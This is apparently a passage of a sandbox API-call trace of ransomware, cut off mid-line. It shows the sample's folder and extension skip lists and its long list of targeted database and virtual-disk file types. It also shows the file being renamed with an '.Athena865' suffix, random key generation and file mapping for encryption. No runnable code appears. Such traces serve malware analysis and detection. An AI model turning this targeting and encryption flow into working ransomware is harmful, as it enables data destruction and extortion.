[0042.643] lstrcmpiW (lpString1="msdbg2.dll", lpString2="perflogs") returned -1 [0042.643] lstrcmpiW (lpString1="msdbg2.dll", lpString2="MSBuild") returned 1 [0042.643] lstrlenW (lpString="msdbg2.dll") returned 10 [0042.643] lstrcpyW (in: lpString1=0x241e89a, lpString2="msdbg2.dll" | out: lpString1="msdbg2.dll") returned="msdbg2.dll" [0042.643] lstrlenW (lpString="msdbg2.dll") returned 10 [0042.643] lstrlenW (lpString="Athena865") returned 9 [0042.643] lstrcmpiW (lpString1="sdbg2.dll", lpString2="Athena865") returned 1 [0042.643] lstrlenW (lpString=".dll") returned 4 [0042.643] lstrcmpiW (lpString1="msdbg2.dll", lpString2=".dll") returned 1 [0042.643] lstrlenW (lpString=".lnk") returned 4 [0042.643] lstrcmpiW (lpString1="msdbg2.dll", lpString2=".lnk") returned 1 [0042.643] lstrlenW (lpString=".ini") returned 4 [0042.644] lstrcmpiW (lpString1="msdbg2.dll", lpString2=".ini") returned 1 [0042.644] lstrlenW (lpString=".sys") returned 4 [0042.644] lstrcmpiW (lpString1="msdbg2.dll", lpString2=".sys") returned 1 [0042.644] lstrlenW (lpString="msdbg2.dll") returned 10 [0042.644] lstrlenW (lpString="bak") returned 3 [0042.644] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0042.644] lstrlenW (lpString="ba_") returned 3 [0042.644] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0042.644] lstrlenW (lpString="dbb") returned 3 [0042.644] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0042.644] lstrlenW (lpString="vmdk") returned 4 [0042.644] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0042.644] lstrlenW (lpString="rar") returned 3 [0042.644] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0042.644] lstrlenW (lpString="zip") returned 3 [0042.644] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0042.644] lstrlenW (lpString="tgz") returned 3 [0042.644] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0042.644] lstrlenW (lpString="vbox") returned 4 [0042.644] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0042.644] lstrlenW (lpString="vdi") returned 3 [0042.644] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0042.644] lstrlenW (lpString="vhd") returned 3 [0042.644] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0042.644] lstrlenW (lpString="vhdx") returned 4 [0042.644] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0042.644] lstrlenW (lpString="avhd") returned 4 [0042.644] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0042.644] lstrlenW (lpString="db") returned 2 [0042.644] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0042.644] lstrlenW (lpString="db2") returned 3 [0042.644] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0042.644] lstrlenW (lpString="db3") returned 3 [0042.644] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0042.644] lstrlenW (lpString="dbf") returned 3 [0042.644] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0042.644] lstrlenW (lpString="mdf") returned 3 [0042.644] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0042.645] lstrlenW (lpString="mdb") returned 3 [0042.645] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0042.645] lstrlenW (lpString="sql") returned 3 [0042.645] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0042.645] lstrlenW (lpString="sqlite") returned 6 [0042.645] lstrcmpiW (lpString1="g2.dll", lpString2="sqlite") returned -1 [0042.645] lstrlenW (lpString="sqlite3") returned 7 [0042.645] lstrcmpiW (lpString1="bg2.dll", lpString2="sqlite3") returned -1 [0042.645] lstrlenW (lpString="sqlitedb") returned 8 [0042.645] lstrcmpiW (lpString1="dbg2.dll", lpString2="sqlitedb") returned -1 [0042.645] lstrlenW (lpString="xml") returned 3 [0042.645] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0042.645] lstrlenW (lpString="$er") returned 3 [0042.645] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0042.645] lstrlenW (lpString="4dd") returned 3 [0042.645] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0042.645] lstrlenW (lpString="4dl") returned 3 [0042.645] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0042.645] lstrlenW (lpString="^^^") returned 3 [0042.645] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0042.645] lstrlenW (lpString="abs") returned 3 [0042.645] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0042.645] lstrlenW (lpString="abx") returned 3 [0042.645] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0042.645] lstrlenW (lpString="accdb") returned 5 [0042.645] lstrcmpiW (lpString1="2.dll", lpString2="accdb") returned -1 [0042.645] lstrlenW (lpString="accdc") returned 5 [0042.645] lstrcmpiW (lpString1="2.dll", lpString2="accdc") returned -1 [0042.645] lstrlenW (lpString="accde") returned 5 [0042.645] lstrcmpiW (lpString1="2.dll", lpString2="accde") returned -1 [0042.645] lstrlenW (lpString="accdr") returned 5 [0042.645] lstrcmpiW (lpString1="2.dll", lpString2="accdr") returned -1 [0042.645] lstrlenW (lpString="accdt") returned 5 [0042.645] lstrcmpiW (lpString1="2.dll", lpString2="accdt") returned -1 [0042.645] lstrlenW (lpString="accdw") returned 5 [0042.645] lstrcmpiW (lpString1="2.dll", lpString2="accdw") returned -1 [0042.645] lstrlenW (lpString="accft") returned 5 [0042.645] lstrcmpiW (lpString1="2.dll", lpString2="accft") returned -1 [0042.646] lstrlenW (lpString="adb") returned 3 [0042.646] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0042.646] lstrlenW (lpString="adb") returned 3 [0042.646] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0042.646] lstrlenW (lpString="ade") returned 3 [0042.646] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0042.646] lstrlenW (lpString="adf") returned 3 [0042.646] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0042.646] lstrlenW (lpString="adn") returned 3 [0042.646] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0042.646] lstrlenW (lpString="adp") returned 3 [0042.646] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0042.646] lstrlenW (lpString="alf") returned 3 [0042.646] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0042.646] lstrlenW (lpString="ask") returned 3 [0042.646] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0042.646] lstrlenW (lpString="btr") returned 3 [0042.646] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0042.646] lstrlenW (lpString="cat") returned 3 [0042.646] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0042.646] lstrlenW (lpString="cdb") returned 3 [0042.646] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0042.646] lstrlenW (lpString="ckp") returned 3 [0042.646] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0042.646] lstrlenW (lpString="cma") returned 3 [0042.646] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0042.646] lstrlenW (lpString="cpd") returned 3 [0042.646] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0042.646] lstrlenW (lpString="dacpac") returned 6 [0042.646] lstrcmpiW (lpString1="g2.dll", lpString2="dacpac") returned 1 [0042.646] lstrlenW (lpString="dad") returned 3 [0042.646] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0042.646] lstrlenW (lpString="dadiagrams") returned 10 [0042.646] lstrlenW (lpString="daschema") returned 8 [0042.646] lstrcmpiW (lpString1="dbg2.dll", lpString2="daschema") returned 1 [0042.646] lstrlenW (lpString="db-journal") returned 10 [0042.646] lstrlenW (lpString="db-shm") returned 6 [0042.647] lstrcmpiW (lpString1="g2.dll", lpString2="db-shm") returned 1 [0042.647] lstrlenW (lpString="db-wal") returned 6 [0042.647] lstrcmpiW (lpString1="g2.dll", lpString2="db-wal") returned 1 [0042.647] lstrlenW (lpString="dbc") returned 3 [0042.647] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0042.647] lstrlenW (lpString="dbs") returned 3 [0042.647] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0042.647] lstrlenW (lpString="dbt") returned 3 [0042.647] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0042.647] lstrlenW (lpString="dbv") returned 3 [0042.647] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0042.647] lstrlenW (lpString="dbx") returned 3 [0042.647] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0042.647] lstrlenW (lpString="dcb") returned 3 [0042.647] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0042.647] lstrlenW (lpString="dct") returned 3 [0042.647] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0042.647] lstrlenW (lpString="dcx") returned 3 [0042.647] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0042.647] lstrlenW (lpString="ddl") returned 3 [0042.647] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0042.647] lstrlenW (lpString="dlis") returned 4 [0042.647] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0042.647] lstrlenW (lpString="dp1") returned 3 [0042.647] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0042.647] lstrlenW (lpString="dqy") returned 3 [0042.647] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0042.647] lstrlenW (lpString="dsk") returned 3 [0042.647] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0042.647] lstrlenW (lpString="dsn") returned 3 [0042.647] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0042.647] lstrlenW (lpString="dtsx") returned 4 [0042.647] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0042.647] lstrlenW (lpString="dxl") returned 3 [0042.647] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0042.647] lstrlenW (lpString="eco") returned 3 [0042.648] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0042.648] lstrlenW (lpString="ecx") returned 3 [0042.648] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0042.648] lstrlenW (lpString="edb") returned 3 [0042.648] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0042.648] lstrlenW (lpString="epim") returned 4 [0042.648] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0042.648] lstrlenW (lpString="fcd") returned 3 [0042.648] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0042.648] lstrlenW (lpString="fdb") returned 3 [0042.648] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0042.648] lstrlenW (lpString="fic") returned 3 [0042.648] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0042.648] lstrlenW (lpString="flexolibrary") returned 12 [0042.648] lstrlenW (lpString="fm5") returned 3 [0042.648] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0042.648] lstrlenW (lpString="fmp") returned 3 [0042.648] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0042.648] lstrlenW (lpString="fmp12") returned 5 [0042.648] lstrcmpiW (lpString1="2.dll", lpString2="fmp12") returned -1 [0042.648] lstrlenW (lpString="fmpsl") returned 5 [0042.648] lstrcmpiW (lpString1="2.dll", lpString2="fmpsl") returned -1 [0042.648] lstrlenW (lpString="fol") returned 3 [0042.648] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0042.648] lstrlenW (lpString="fp3") returned 3 [0042.648] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0042.648] lstrlenW (lpString="fp4") returned 3 [0042.648] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0042.648] lstrlenW (lpString="fp5") returned 3 [0042.648] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0042.648] lstrlenW (lpString="fp7") returned 3 [0042.648] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0042.648] lstrlenW (lpString="fpt") returned 3 [0042.648] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0042.648] lstrlenW (lpString="frm") returned 3 [0042.648] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0042.648] lstrlenW (lpString="gdb") returned 3 [0042.649] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0042.649] lstrlenW (lpString="gdb") returned 3 [0042.649] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0042.649] lstrlenW (lpString="grdb") returned 4 [0042.649] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0042.649] lstrlenW (lpString="gwi") returned 3 [0042.649] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0042.649] lstrlenW (lpString="hdb") returned 3 [0042.649] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0042.649] lstrlenW (lpString="his") returned 3 [0042.649] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0042.649] lstrlenW (lpString="ib") returned 2 [0042.649] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0042.649] lstrlenW (lpString="idb") returned 3 [0042.649] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0042.649] lstrlenW (lpString="ihx") returned 3 [0042.649] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0042.649] lstrlenW (lpString="itdb") returned 4 [0042.649] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0042.649] lstrlenW (lpString="itw") returned 3 [0042.649] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0042.649] lstrlenW (lpString="jet") returned 3 [0042.649] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0042.649] lstrlenW (lpString="jtx") returned 3 [0042.649] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0042.649] lstrlenW (lpString="kdb") returned 3 [0042.649] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0042.649] lstrlenW (lpString="kexi") returned 4 [0042.649] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0042.649] lstrlenW (lpString="kexic") returned 5 [0042.649] lstrcmpiW (lpString1="2.dll", lpString2="kexic") returned -1 [0042.649] lstrlenW (lpString="kexis") returned 5 [0042.649] lstrcmpiW (lpString1="2.dll", lpString2="kexis") returned -1 [0042.649] lstrlenW (lpString="lgc") returned 3 [0042.649] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0042.649] lstrlenW (lpString="lwx") returned 3 [0042.649] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0042.649] lstrlenW (lpString="maf") returned 3 [0042.650] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0042.650] lstrlenW (lpString="maq") returned 3 [0042.650] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0042.650] lstrlenW (lpString="mar") returned 3 [0042.650] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0042.650] lstrlenW (lpString="marshal") returned 7 [0042.650] lstrcmpiW (lpString1="bg2.dll", lpString2="marshal") returned -1 [0042.650] lstrlenW (lpString="mas") returned 3 [0042.650] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0042.650] lstrlenW (lpString="mav") returned 3 [0042.650] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0042.650] lstrlenW (lpString="maw") returned 3 [0042.650] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0042.650] lstrlenW (lpString="mdbhtml") returned 7 [0042.650] lstrcmpiW (lpString1="bg2.dll", lpString2="mdbhtml") returned -1 [0042.650] lstrlenW (lpString="mdn") returned 3 [0042.650] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0042.650] lstrlenW (lpString="mdt") returned 3 [0042.650] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0042.650] lstrlenW (lpString="mfd") returned 3 [0042.650] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0042.650] lstrlenW (lpString="mpd") returned 3 [0042.650] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0042.650] lstrlenW (lpString="mrg") returned 3 [0042.650] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0042.650] lstrlenW (lpString="mud") returned 3 [0042.650] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0042.650] lstrlenW (lpString="mwb") returned 3 [0042.650] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0042.650] lstrlenW (lpString="myd") returned 3 [0042.650] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0042.650] lstrlenW (lpString="ndf") returned 3 [0042.650] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0042.650] lstrlenW (lpString="nnt") returned 3 [0042.650] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0042.650] lstrlenW (lpString="nrmlib") returned 6 [0042.651] lstrcmpiW (lpString1="g2.dll", lpString2="nrmlib") returned -1 [0042.651] lstrlenW (lpString="ns2") returned 3 [0042.651] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0042.651] lstrlenW (lpString="ns3") returned 3 [0042.651] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0042.651] lstrlenW (lpString="ns4") returned 3 [0042.651] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0042.651] lstrlenW (lpString="nsf") returned 3 [0042.651] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0042.651] lstrlenW (lpString="nv") returned 2 [0042.651] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0042.651] lstrlenW (lpString="nv2") returned 3 [0042.651] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0042.651] lstrlenW (lpString="nwdb") returned 4 [0042.651] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0042.651] lstrlenW (lpString="nyf") returned 3 [0042.651] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0042.651] lstrlenW (lpString="odb") returned 3 [0042.651] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0042.651] lstrlenW (lpString="odb") returned 3 [0042.651] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0042.651] lstrlenW (lpString="oqy") returned 3 [0042.651] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0042.651] lstrlenW (lpString="ora") returned 3 [0042.651] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0042.651] lstrlenW (lpString="orx") returned 3 [0042.651] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0042.651] lstrlenW (lpString="owc") returned 3 [0042.651] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0042.651] lstrlenW (lpString="p96") returned 3 [0042.651] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0042.651] lstrlenW (lpString="p97") returned 3 [0042.651] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0042.651] lstrlenW (lpString="pan") returned 3 [0042.651] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0042.651] lstrlenW (lpString="pdb") returned 3 [0042.651] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0042.652] lstrlenW (lpString="pdm") returned 3 [0042.652] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0042.652] lstrlenW (lpString="pnz") returned 3 [0042.652] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0042.652] lstrlenW (lpString="qry") returned 3 [0042.652] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0042.652] lstrlenW (lpString="qvd") returned 3 [0042.652] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0042.652] lstrlenW (lpString="rbf") returned 3 [0042.652] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0042.652] lstrlenW (lpString="rctd") returned 4 [0042.652] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0042.652] lstrlenW (lpString="rod") returned 3 [0042.652] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0042.652] lstrlenW (lpString="rodx") returned 4 [0042.652] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0042.652] lstrlenW (lpString="rpd") returned 3 [0042.652] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0042.652] lstrlenW (lpString="rsd") returned 3 [0042.652] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0042.652] lstrlenW (lpString="sas7bdat") returned 8 [0042.652] lstrcmpiW (lpString1="dbg2.dll", lpString2="sas7bdat") returned -1 [0042.652] lstrlenW (lpString="sbf") returned 3 [0042.652] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0042.652] lstrlenW (lpString="scx") returned 3 [0042.652] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0042.652] lstrlenW (lpString="sdb") returned 3 [0042.652] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0042.652] lstrlenW (lpString="sdc") returned 3 [0042.652] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0042.652] lstrlenW (lpString="sdf") returned 3 [0042.652] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0042.652] lstrlenW (lpString="sis") returned 3 [0042.652] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0042.652] lstrlenW (lpString="spq") returned 3 [0042.653] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0042.653] lstrlenW (lpString="te") returned 2 [0042.653] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0042.653] lstrlenW (lpString="teacher") returned 7 [0042.653] lstrcmpiW (lpString1="bg2.dll", lpString2="teacher") returned -1 [0042.653] lstrlenW (lpString="tmd") returned 3 [0042.653] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0042.653] lstrlenW (lpString="tps") returned 3 [0042.653] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0042.653] lstrlenW (lpString="trc") returned 3 [0042.653] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0042.653] lstrlenW (lpString="trc") returned 3 [0042.653] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0042.653] lstrlenW (lpString="trm") returned 3 [0042.653] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0042.653] lstrlenW (lpString="udb") returned 3 [0042.653] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0042.653] lstrlenW (lpString="udl") returned 3 [0042.653] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0042.653] lstrlenW (lpString="usr") returned 3 [0042.653] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0042.653] lstrlenW (lpString="v12") returned 3 [0042.653] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0042.653] lstrlenW (lpString="vis") returned 3 [0042.653] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0042.653] lstrlenW (lpString="vpd") returned 3 [0042.653] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0042.653] lstrlenW (lpString="vvv") returned 3 [0042.653] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0042.653] lstrlenW (lpString="wdb") returned 3 [0042.653] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0042.653] lstrlenW (lpString="wmdb") returned 4 [0042.653] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0042.653] lstrlenW (lpString="wrk") returned 3 [0042.653] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0042.653] lstrlenW (lpString="xdb") returned 3 [0042.653] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0042.653] lstrlenW (lpString="xld") returned 3 [0042.654] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0042.654] lstrlenW (lpString="xmlff") returned 5 [0042.654] lstrcmpiW (lpString1="2.dll", lpString2="xmlff") returned -1 [0042.654] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll.Athena865") returned 61 [0042.654] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll" (normalized: "c:\\program files (x86)\\internet explorer\\msdbg2.dll"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\msdbg2.dll.athena865"), dwFlags=0x1) returned 1 [0042.654] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\msdbg2.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0042.655] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=265720) returned 1 [0042.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0042.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0042.655] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0042.656] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.656] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.656] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x41100, lpName=0x0) returned 0x17c [0042.658] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x41100) returned 0x1f0000 [0042.670] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0042.670] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.670] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0042.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0042.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0042.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0042.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x530908 [0042.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0042.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530908 | out: hHeap=0x4f0000) returned 1 [0042.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0042.671] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0042.673] CloseHandle (hObject=0x17c) returned 1 [0042.673] CloseHandle (hObject=0x154) returned 1 [0042.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0042.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0042.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.678] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b0ea3c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x68b0ea3c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x68b34b9c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x56df8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pdm.dll", cAlternateFileName="")) returned 1 [0042.678] lstrcmpiW (lpString1="pdm.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.679] lstrcmpiW (lpString1="pdm.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.679] lstrcmpiW (lpString1="pdm.dll", lpString2=".") returned 1 [0042.679] lstrcmpiW (lpString1="pdm.dll", lpString2="..") returned 1 [0042.679] lstrcmpiW (lpString1="pdm.dll", lpString2="windows") returned -1 [0042.679] lstrcmpiW 